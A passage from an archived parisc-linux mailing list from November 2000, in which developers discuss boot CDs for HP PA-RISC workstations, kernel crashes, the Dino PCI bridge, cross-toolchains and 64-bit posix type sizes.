	for <parisc-linux@puffin.external.hp.com>; Wed, 15 Nov 2000 03:08:25 -0700
Original-Received: (qmail 14523 invoked by uid 15267); 15 Nov 2000 10:10:28 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 14482 invoked from network); 15 Nov 2000 10:10:26 -0000
Original-Received: from symphony-01.iinet.net.au (HELO mail.iinet.net.au) (203.59.24.16)
  by mailserv2.iuinc.com with SMTP; 15 Nov 2000 10:10:26 -0000
Original-Received: (qmail 32355 invoked by uid 666); 15 Nov 2000 10:10:16 -0000
Original-Received: from unknown (HELO guinness.neep.com.au) (203.59.104.175)
  by mail.iinet.net.au with SMTP; 15 Nov 2000 10:10:16 -0000
Original-Received: (from andrew@localhost)
	by guinness.neep.com.au (8.9.3/8.9.3/Debian/GNU) id SAA06468
	for parisc-linux@thepuffingroup.com; Wed, 15 Nov 2000 18:10:16 +0800
Mail-Followup-To: parisc-linux@thepuffingroup.com
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <C12531D038D1D011B1DB0000F8036C28071AB6FB@eosm5.oecd.org>; from Arnaud.ATOCH@oecd.org on Wed, Nov 15, 2000 at 10:05:04AM +0100
X-URL: http://www.neep.com.au/
Xref: news.gmane.org gmane.linux.ports.parisc:8432

Arnaud.ATOCH@oecd.org said:
> Hi,
> 
> I got a couple of 715 and I'd love having access to an ISO image with STI
> console kernel too.

I've never made an El Torito CDROM, is it possible to have multiple boot
images and a boot loader on a single disc?  ie could the actual boot
image be a boot loader (PALO) which then points at one or more kernels
on the CDROM?

Andrew.

--
Andrew Shugg <andrew@neep.com.au>                   http://www.neep.com.au/

"Just remember, Mr Fawlty, there's always someone worse off than yourself."
"Is there?  Well I'd like to meet him.  I could do with a good laugh."


From - Thu Nov 08 21:14:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Thomas Marteau" <marteaut@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Palinux on a 712/60
Date: Wed, 15 Nov 2000 11:25:07 +0100
Lines: 15
Approved: news@gmane.org
Message-ID: <001601c04eee$535905e0$a832d793@esiee.fr>
References: <C36304FE952AD411AC87002094120338029E7E@MTMAIL>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619285 6193 80.91.229.3 (22 Nov 2014 01:21:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:21:25 +0000 (UTC)
To: "Ian Zink" <ian.zink@maryville.com>, <parisc-linux@thepuffingroup.com>
Original-X-From: marteaut@esiee.fr  Wed Nov 15 03:20:39 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id DAA20530
	for <parisc-linux@puffin.external.hp.com>; Wed, 15 Nov 2000 03:20:38 -0700
Original-Received: (qmail 24633 invoked by uid 15267); 15 Nov 2000 10:22:41 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 24611 invoked from network); 15 Nov 2000 10:22:41 -0000
Original-Received: from mail.esiee.fr (147.215.1.3)
  by mailserv2.iuinc.com with SMTP; 15 Nov 2000 10:22:41 -0000
Original-Received: from pc5158b (pc5158b.esiee.fr [147.215.50.168])
	by mail.esiee.fr (Postfix) with SMTP
	id 0391D57329; Wed, 15 Nov 2000 11:22:39 +0100 (CET)
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2615.200
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200
Xref: news.gmane.org gmane.linux.ports.parisc:8433

Hi Ian,

    If you like to see a linux kernel booting on your 712, you can donwload
a fully operationnal root file system with the STI console and an extra
terminal with
the RS232 port at
http://www.esiee.fr/puffin

You have also all the info to make a bootable hard disk so try it and give
us feedback...

Bye,
Thomas Marteau
ESIEE Team


From - Thu Nov 08 21:14:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Beta CD
Date: Wed, 15 Nov 2000 11:12:20 +0000
Lines: 45
Approved: news@gmane.org
Message-ID: <20001115111220.J32715@linuxcare.com>
References: <20001110171406.C3196@achilles.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619285 6196 80.91.229.3 (22 Nov 2014 01:21:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:21:25 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: "Paul J.Y. Lahaie" <pjlahaie@linuxcare.com>
Original-X-From: rhirst@linuxcare.com  Wed Nov 15 04:12:47 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id EAA23568
	for <parisc-linux@puffin.external.hp.com>; Wed, 15 Nov 2000 04:12:47 -0700
Original-Received: (qmail 31334 invoked by uid 15267); 15 Nov 2000 11:14:46 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 31327 invoked from network); 15 Nov 2000 11:14:45 -0000
Original-Received: from sleepie.demon.co.uk (HELO rhirst.linuxcare.com) (194.222.23.208)
  by mailserv2.iuinc.com with SMTP; 15 Nov 2000 11:14:45 -0000
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 3C177B007; Wed, 15 Nov 2000 11:12:20 +0000 (GMT)
X-Mailer: Mutt 1.0us
In-Reply-To: <20001110171406.C3196@achilles.net>; from pjlahaie@linuxcare.com on Fri, Nov 10, 2000 at 05:14:06PM -0500
Xref: news.gmane.org gmane.linux.ports.parisc:8434

On Fri, Nov 10, 2000 at 05:14:06PM -0500, Paul J.Y. Lahaie wrote:
> Hello fellow PA-RISCers,
> 
> An preliminary beta CD for PA/Linux has been uploaded to
> puffin.external.hp.com.  If people could try it and forward any complaints
> or suggestions to me, it would be greatly appreciated.  The URL for the
> image is: ftp://puffin.external.hp.com/pub/parisc/cd-images/palinux-0.5.iso.gz

I just borrowed a CDROM drive for my 715/75 so I could try
it on there [Actually this is the palinux-0.5.iso.gz that I
commented on, not the final version].  I wasn't successful:

Sometimes the boot hangs after "ASP version 1 at 0xf0800000 found",
waits a few seconds and then HPMCs.

The scsi driver always has serious problems with the CD drive
but does detect other devices on the bus.

The kernel always crashes after "Serial driver version 5.01...",
(if it gets that far) with

Data access rights fault in kernel: Code=26 regs=c5f9c940 (Addr=00000003)

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001000000000000001010
r0-3     00000000 c0217800 c011e9f8 c5ff64a0
r4-7     c5ff6200 c023ab20 00000008 f0823800
r8-11    00000003 00000007 c019134c c02b20a0
r12-15   fffffffc c023a800 c023a800 c02c31cc
r16-19   c023a800 c023a800 c02b2024 00000000
r20-23   c5ff6234 f0823807 f0823800 0000000a
r24-27   ffffffff c5ff64a0 c5ff6200 c0258000
r28-31   ffffffff 000002c0 c5f9cb80 c012dfc0
sr0-4    00000000 00000000 00000000 00000000
sr4-8    00000000 00000000 00000000 00000000

IASQ: 00000000 00000000 IAOQ: c011e710 c011e714
 IIR: 0f881093    ISR: 00000000  IOR: 00000003
ORIG_R28: 00000058


I'll investigate further when I have the time.

Richard


From - Thu Nov 08 21:14:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alex deVries <adevries@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] dino maintainer?
Date: Wed, 15 Nov 2000 11:50:27 -0500
Organization: The Puffins at Linuxcare
Lines: 29
Approved: news@gmane.org
Message-ID: <3A12BED3.B4F42ED2@linuxcare.com>
References: <20001114101704.Y32715@linuxcare.com> <200011141610.IAA11646@milano.cup.hp.com> <20001115095835.I32715@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619286 6200 80.91.229.3 (22 Nov 2014 01:21:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:21:26 +0000 (UTC)
Cc: Grant Grundler <grundler@cup.hp.com>, Helge Deller <deller@gmx.de>,
        parisc-linux@puffin.external.hp.com
To: Richard Hirst <rhirst@linuxcare.com>
Original-X-From: adevries@linuxcare.com  Wed Nov 15 08:40:05 2000
Original-Received: from smtp.linuxcare.com ([216.88.157.131])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id IAA26153
	for <parisc-linux@puffin.external.hp.com>; Wed, 15 Nov 2000 08:39:59 -0700
Original-Received: (qmail 26844 invoked from network); 15 Nov 2000 15:42:05 -0000
Original-Received: from ottawa.linuxcare.com (HELO linuxcare.com) (216.208.98.2)
  by smtp.linuxcare.com with SMTP; 15 Nov 2000 15:42:05 -0000
Original-Sender: adevries@puffin.external.hp.com
X-Mailer: Mozilla 4.75 [en] (X11; U; Linux 2.2.13 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:8435

Richard Hirst wrote:
> On Tue, Nov 14, 2000 at 08:10:42AM -0800, Grant Grundler wrote:
> > FYI - card-mode dino was used for several different networking
> > interfaces but not SCSI interfaces.
> 
> But Helge has problems with the sym53c8xx driver on a B160L.  Is
> that a PCI card driven via Dino?  And if so, are you saying he needs
> to build his kernel with CONFIG_SCSI_NCR53C8XX_IOMAPPED=y so it
> doesn't try to use MMIO?

Hang on a sec... what Grant's saying is that *card-mode* dino is never
used for SCSI controllers, but on the B160L it would probably be
*chip-mode* dino.

Does this mean that all GSC SCSI expansion cards are Zalon based?

So what Helge has isn't a PCI card specifically, Dino and the 53c8xx are
all on the motherboard.

Does Dino handle IO memory mapping differently for chip or card mode?

- Alex

-- 
Alex deVries, Principal Solutions Architect, The Puffins at Linuxcare
613.562.2759 tel
alex@linuxcare.com, http://www.linuxcare.com/
Linuxcare, Support for the revolution.


From - Thu Nov 08 21:14:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] dino maintainer?
Date: Wed, 15 Nov 2000 08:06:32 -0800
Lines: 51
Approved: news@gmane.org
Message-ID: <200011151606.IAA13228@milano.cup.hp.com>
References: <20001115095835.I32715@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619286 6206 80.91.229.3 (22 Nov 2014 01:21:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:21:26 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>, parisc-linux@puffin.external.hp.com
To: Richard Hirst <rhirst@linuxcare.com>
Original-X-From: grundler@cup.hp.com  Wed Nov 15 09:05:46 2000
Original-Received: from atlrel1.hp.com (atlrel1.hp.com [156.153.255.210])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id JAA26843
	for <parisc-linux@puffin.external.hp.com>; Wed, 15 Nov 2000 09:05:45 -0700
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by atlrel1.hp.com (Postfix) with ESMTP id 0CC0125CB
	for <parisc-linux@puffin.external.hp.com>; Wed, 15 Nov 2000 11:07:50 -0500 (EST)
Original-Received: from localhost (grundler@localhost [127.0.0.1])
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id IAA13228;
	Wed, 15 Nov 2000 08:06:33 -0800 (PST)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Wed, 15 Nov 2000 09:58:35 PST."
             <20001115095835.I32715@linuxcare.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:8436

Richard Hirst wrote:
> On Tue, Nov 14, 2000 at 08:10:42AM -0800, Grant Grundler wrote:
> > The bug is normal for card-mode Dino - not for Built-in Dino.
> > I think Helge has the GSC 100BT card which is a card-mode Dino on-board
> > with one (or two) Tulip(s) behind it.

Helge confirmed he has no such card.
I think the PDC simply isn't programming the Dino IO_ADDR_EN
since there are no PCI devices in his B160.

Helge's B160 has a old rev of Dino PCI host bus adapter chip.
It's possible to have "silent" data corruption caused by older
revs of dino - 3.0 and older.
The latest PDC Revisions (5.x and later) know this and won't permit
the system to be booted unless the only devices on the PCI bus are
known graphics interface cards.

> > The warning is a reminder one can NOT use MMIO accesses to those
> > PCI devices and *only* I/O Port space (eg inb/outb).
> > 
> > If someone wants to fix the warning so it's quiet for card-mode
> > devices...see is_card_dino(d) in dino_driver_callback() for an
> > example.

This is still correct for card-mode dino.

> > FYI - card-mode dino was used for several different networking
> > interfaces but not SCSI interfaces.
> 
> But Helge has problems with the sym53c8xx driver on a B160L.  Is
> that a PCI card driven via Dino? 

I doubt it now. If Helge could send richard "in io" output, I think
that would clarify what's in the B160.

> And if so, are you saying he needs
> to build his kernel with CONFIG_SCSI_NCR53C8XX_IOMAPPED=y so it
> doesn't try to use MMIO?

no. no SCSI was ever implement on a card-mode dino board.
No reason to since they already had Zalon or open slots.

grant

> Helge, it might be worth trying to switch on CONFIG_SCSI_NCR53C8XX_IOMAPPED
> anyway just to see what happens.  Otherwise someone needs to start
> adding printk debug to figure out what is happening.  I can't do
> that as I don't have a sym53c8xx pci card.
> 
> Richard


From - Thu Nov 08 21:14:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] dino maintainer?
Date: Wed, 15 Nov 2000 08:17:41 -0800
Lines: 38
Approved: news@gmane.org
Message-ID: <200011151617.IAA13311@milano.cup.hp.com>
References: <3A12BED3.B4F42ED2@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619286 6212 80.91.229.3 (22 Nov 2014 01:21:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:21:26 +0000 (UTC)
Cc: parisc-linux@puffin.external.hp.com
To: Alex deVries <adevries@linuxcare.com>
Original-X-From: grundler@cup.hp.com  Wed Nov 15 09:17:31 2000
Original-Received: from palrel1.hp.com (palrel1.hp.com [156.153.255.242])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id JAA27273
	for <parisc-linux@puffin.external.hp.com>; Wed, 15 Nov 2000 09:17:31 -0700
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel1.hp.com (Postfix) with ESMTP id 21857566B
	for <parisc-linux@puffin.external.hp.com>; Wed, 15 Nov 2000 08:19:01 -0800 (PST)
Original-Received: from localhost (grundler@localhost [127.0.0.1])
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id IAA13311;
	Wed, 15 Nov 2000 08:17:42 -0800 (PST)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Wed, 15 Nov 2000 11:50:27 PST."
             <3A12BED3.B4F42ED2@linuxcare.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:8437

Alex deVries wrote:
> Hang on a sec... what Grant's saying is that *card-mode* dino is never
> used for SCSI controllers, but on the B160L it would probably be
> *chip-mode* dino.

No such thing - you probably mean "Bridge Mode" and that's what
the built-in Dino is using.

> Does this mean that all GSC SCSI expansion cards are Zalon based?
>
> So what Helge has isn't a PCI card specifically, Dino and the 53c8xx are
> all on the motherboard.
> 
> Does Dino handle IO memory mapping differently for chip or card mode?

yes. yes. yes (conditional).

"IO memory mapping" is a confusing term. I'll assume you mean MMIO.
(Memory Mapped I/O)

MMIO space access is independent of I/O Port space access.
MMIO space access simple isn't available for card-mode Dino since
niether PDC nor the OS assigns host physical address space to the
card-mode Dino (that's what IO_ADDR_EN is for). PDC does this
for Bridge-mode dino (built-in) - but apperently only when it needs
to.

I/O Port space accesses are done the same way for both modes.
I/O Port space access is implemented by poking registers on Dino.

Read the Dino Spec (or source) for more details.

grant

Grant Grundler
Unix Systems Enablement Lab
+1.408.447.7253


From - Thu Nov 08 21:14:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [Semi OT] SOM Linker
Date: Wed, 15 Nov 2000 11:23:05 -0500 (EST)
Lines: 19
Approved: news@gmane.org
Message-ID: <200011151623.LAA21991@hiauly1.hia.nrc.ca>
References: <3A121DDD.992ECBC8@pacbell.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619286 6217 80.91.229.3 (22 Nov 2014 01:21:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:21:26 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: dhazeghi@pacbell.net
Original-X-From: dave@hiauly1.hia.nrc.ca  Wed Nov 15 09:21:13 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id JAA27620
	for <parisc-linux@puffin.external.hp.com>; Wed, 15 Nov 2000 09:21:12 -0700
Original-Received: (qmail 5118 invoked by uid 15267); 15 Nov 2000 16:23:16 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 5057 invoked from network); 15 Nov 2000 16:23:14 -0000
Original-Received: from hiauly1.hia.nrc.ca (132.246.100.193)
  by mailserv2.iuinc.com with SMTP; 15 Nov 2000 16:23:14 -0000
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.9.3/8.9.3) id LAA21991;
	Wed, 15 Nov 2000 11:23:05 -0500 (EST)
In-Reply-To: <3A121DDD.992ECBC8@pacbell.net> from "dhazeghi@pacbell.net" at Nov 14, 2000 09:23:41 pm
X-Mailer: ELM [version 2.4 PL25]
Xref: news.gmane.org gmane.linux.ports.parisc:8438

> This is not precisely what I mean. What I should have said is that I want to create
> a cross compiler --host=i686-linux --target=hppa-hpux. I asked this list, because
> you folks did some work on the SOM linker, which is at the moment the missing piece
> for a cross toolchain which targets hpux.

This also may be possible.  The first step would be to copy the hpux headers
to a i686-linux system and see if you can build the HP linker.  The next
step would be to try to build the cross binutils tools.  I know this
requires the hpux headers and likely some hacking would be required to
get it to build.

The linker is probably the hard part.  There may be byte ordering issues
and bugs in what HP contributed.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:14:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Phillip D. Beal" <pdbeal@louisville.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Beta CD
Date: Wed, 15 Nov 2000 11:47:09 -0500
Lines: 25
Approved: news@gmane.org
Message-ID: <20001115114709.B69784@athena.louisville.edu>
References: <20001110171406.C3196@achilles.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619287 6221 80.91.229.3 (22 Nov 2014 01:21:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:21:27 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: "Paul J.Y. Lahaie" <pjlahaie@linuxcare.com>
Original-X-From: pdbeal@louisville.edu  Wed Nov 15 09:45:38 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id JAA28175
	for <parisc-linux@puffin.external.hp.com>; Wed, 15 Nov 2000 09:45:37 -0700
Original-Received: (qmail 10930 invoked by uid 15267); 15 Nov 2000 16:47:42 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 10917 invoked from network); 15 Nov 2000 16:47:41 -0000
Original-Received: from erouter0.it-datacntr.louisville.edu (136.165.1.36)
  by mailserv2.iuinc.com with SMTP; 15 Nov 2000 16:47:41 -0000
Original-Received: from athena.louisville.edu (athena.louisville.edu [136.165.1.37])
	by erouter0.it-datacntr.louisville.edu (Postfix) with ESMTP
	id 5C5D6250EA; Wed, 15 Nov 2000 11:47:40 -0500 (EST)
Original-Received: by athena.louisville.edu (Postfix, from userid 43478)
	id 2335EBA7; Wed, 15 Nov 2000 11:47:10 -0500 (EST)
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20001110171406.C3196@achilles.net>; from pjlahaie@linuxcare.com on Fri, Nov 10, 2000 at 05:14:06PM -0500
Xref: news.gmane.org gmane.linux.ports.parisc:8439

On Fri, Nov 10, 2000 at 05:14:06PM -0500, Paul J.Y. Lahaie wrote:
> Hello fellow PA-RISCers,
> 
> An preliminary beta CD for PA/Linux has been uploaded to
> puffin.external.hp.com.  If people could try it and forward any complaints
> or suggestions to me, it would be greatly appreciated.  The URL for the
> image is: ftp://puffin.external.hp.com/pub/parisc/cd-images/palinux-0.5.iso.gz
> 
> 					- Paul
the CD worked great on the 715 I tried, and I actually didn't have a
serial console machine, so I used my Palm Pilot and a link cable.  Still
worked like a charm.  How did you get the kernel image into the boot
sector of the CD?  I'd like to try to build some CD's of the kernels I'm
building to test in some mahcines that are not on the same network as
the machine that I'm building everything from.

And I don't mind posting my CD images somewhere if they work...but most
of my testing is on a 735 or 755. 

Thanks,
-- 
Phillip Beal
Electrical and Computer Engineering
S+LUG Vice-President


From - Thu Nov 08 21:14:07 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Bame <bame@noam.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Help with posix_types.h
Date: Wed, 15 Nov 2000 10:08:22 -0700
Lines: 61
Approved: news@gmane.org
Message-ID: <E13w62o-0006Pv-00@noam.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619287 6222 80.91.229.3 (22 Nov 2014 01:21:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:21:27 +0000 (UTC)
To: parisc-linux@puffin.external.hp.com
Original-X-From: bame@noam.fc.hp.com  Wed Nov 15 10:06:23 2000
Original-Received: from hpfcla.fc.hp.com (hpfcla.fc.hp.com [15.254.48.2])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id KAA28662
	for <parisc-linux@puffin.external.hp.com>; Wed, 15 Nov 2000 10:06:23 -0700
Original-Received: from noam.fc.hp.com (mail@noam.fc.hp.com [15.1.52.69])
	by hpfcla.fc.hp.com (8.9.1/8.9.3 SMKit7.01) with ESMTP id KAA14370
	for <parisc-linux@puffin.external.hp.com>; Wed, 15 Nov 2000 10:08:22 -0700 (MST)
Original-Received: from localhost
	([127.0.0.1] helo=noam.fc.hp.com ident=bame)
	by noam.fc.hp.com with esmtp (Exim 3.12 #1 (Debian))
	id 13w62o-0006Pv-00
	for <parisc-linux@puffin.external.hp.com>; Wed, 15 Nov 2000 10:08:22 -0700
Xref: news.gmane.org gmane.linux.ports.parisc:8440


I'm reviewing the posix_types.h to figure out what's right for 64-bit
linux.  I know others may have thought through this before so I'm hoping
for guidance.  For those unfamiliar, the type names in posix_types.h
are like __kernel_dev_t and usually are used to define the corresponding
"normal" type (dev_t).  These should be settled before the 32/64
syscall wrappers can be completed.

__kernel_ino_t: often 32 bits, currently 32 bits for parisc and som3
	64-bit kernels (mips64 and ia64).  64 bits on alpha and sparc64.

	Seems to me this ought to be 32 bits on parisc and parisc64, or
	64 bits on both, since it's a function of file system sizes not
	processor width.  HPUX kernel seems to always use 32 bits, but
	64-bit userspace uses 64 bits.  I propose 32 bits on both, but
	willy had selected 64 bits in parisc64 for some reason.

__kernel_off_t: seems to be 32 bits on 32-bit cpus, 64 on 64-bit ones.
	This is supposedly the offset from a beginning of a file.
	HPUX appears to use 64-bits *in the kernel* for both 32 and
	64-bit kernels.

	The obvious pattern is to make ours 32 on narrow, and 64 on
	wide palinux so I guess I propose that, and that's the way
	it was before I hacked on it too.
	Should we consider switching to 64 bits on narrow
	palinux since this is related to file systems, not CPUs.

	Note there's also a __kernel_loff_t -> loff_t which appears
	to be defined as 64 bits.  I'm not sure how this does/should
	interact with off_t (lseek vs lseek64 for example).

__kernel_suseconds_t: which becomes suseconds_t which is used in
	struct timeval {
		time_t          tv_sec;         /* seconds */
		suseconds_t     tv_usec;        /* microseconds */
	};

	I'm confused why hpux, and other systems,
	like for this to be 'long' (e.g., 64 bits on 64-bit processors)
	since it seems like values over a million are probably rare
	and 32 bits seems to be enough for most implementations.  sparc64
	chose 32 bits for this and I want to do the same for parisc64
	because it will reduce the amount of syscall structure repackings.
	Comments?

__kernel_daddr_t: which is used indirectly in struct solaris_x86_vtoc and
	solaris_x86_slice which *might* be an on-disk data structures
	(used with CONFIG_SOLARIS_X86_PARTITION).  So this needs to
	be 32 bits if that's the case (definition from sparc) and several
	archs have it 64 bits!

	On the other hand, HPUX's man page says 'daddr_t used for disk
	addresses except in an inode [and partition table I would think]
	on disk'.  So it should probably be the same
	type as off_t.  FYI the only other place it's used is in
	'struct mtio' -- used to talk to magnetic tape units.

	I'm guessing the sparc struct should not be using this type,
	and that we should define it the same as off_t.  Comments?


From - Thu Nov 08 21:14:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alex deVries <adevries@redhat.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux-cvs] justin
Date: Tue, 20 Apr 1999 22:13:34 -0400 (EDT)
Lines: 12
Approved: news@gmane.org
Message-ID: <Pine.LNX.3.96.990420221234.5593L-100000@devserv.devel.redhat.com>
References: <371D2595.3EB4D7D1@mozilla.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619287 6227 80.91.229.3 (22 Nov 2014 01:21:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:21:27 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Mike Shaver <shaver@mozilla.org>
Original-X-From: adevries@redhat.com  Tue Apr 20 22:14:11 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by sod.res.cmu.edu (8.8.7/8.8.7) with SMTP id WAA13877
	for <parisc-linux@sod.res.cmu.edu>; Tue, 20 Apr 1999 22:14:10 -0400
Original-Received: (qmail 1498 invoked by uid 15267); 21 Apr 1999 02:12:32 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 1491 invoked from network); 21 Apr 1999 02:12:31 -0000
Original-Received: from devserv.devel.redhat.com (adevries@207.175.42.156)
  by mailserv2.iuinc.com with SMTP; 21 Apr 1999 02:12:31 -0000
Original-Received: from localhost (adevries@localhost)
	by devserv.devel.redhat.com (8.8.7/8.8.7) with SMTP id WAA02238;
	Tue, 20 Apr 1999 22:13:35 -0400
X-Authentication-Warning: devserv.devel.redhat.com: adevries owned process doing -bs
X-Sender: adevries@devserv.devel.redhat.com
In-Reply-To: <371D2595.3EB4D7D1@mozilla.org>
Xref: news.gmane.org gmane.linux.ports.parisc:8441


On Tue, 20 Apr 1999, Mike Shaver wrote:
> justin@puffin.external.hp.com wrote:
> > puffin, is binutils-x-hppa ok?
> binutils-x-parisc, no?

I'd say call it binutils-x-hppa-linux until we can actually have a target
called parisc-linux.  I am just about done with those fixes to binutils,
though.

- Alex


From - Thu Nov 08 21:14:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kailashnath V Rampure <kailasr@webcash.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Boot command
Date: Wed, 15 Nov 2000 09:55:09 -0800
Lines: 57
Approved: news@gmane.org
Message-ID: <5.0.0.25.0.20001115095344.01f15cb0@mail.webcash.com>
References: <Your message of "Fri, 03 Nov 2000 11:46:39 PST." <5.0.0.25.0.20001103114401.00a46150@mail.webcash.com>
